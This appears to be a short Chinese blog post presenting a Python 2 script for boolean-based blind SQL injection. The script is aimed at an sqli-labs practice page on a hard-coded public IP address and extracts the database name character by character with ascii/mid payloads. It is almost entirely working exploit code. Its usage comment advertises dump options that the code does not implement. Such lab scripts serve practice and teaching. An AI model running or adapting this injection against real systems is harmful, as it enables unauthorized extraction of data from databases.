盲注脚本2.基于bool

盲注脚本2.基于bool

#!/usr/bin/env python 
#encoding:utf-8
#by i3ekr
#using
#    python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明"
#
import requests,re,os
web = "http://139.199.179.167/sql-inject/sqli-labs/Less-5/index.php?id=1"
payloads = list("abcdefghijklmnopqrstuvwxyz0123456789@_.")
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
value = ''

for i in xrange(1,15,1):
    for payload in payloads:
        url = web + "' and ascii(mid(database(),%d,1))=%d--+"%(i,ord(payload))
        html_doc = requests.get(url,params=headers,timeout=2).text
        if "You are" in html_doc:
            value += payload
            print "[+][%d] database name is:%s"%(i,payload)
            break
        else:
            pass

print value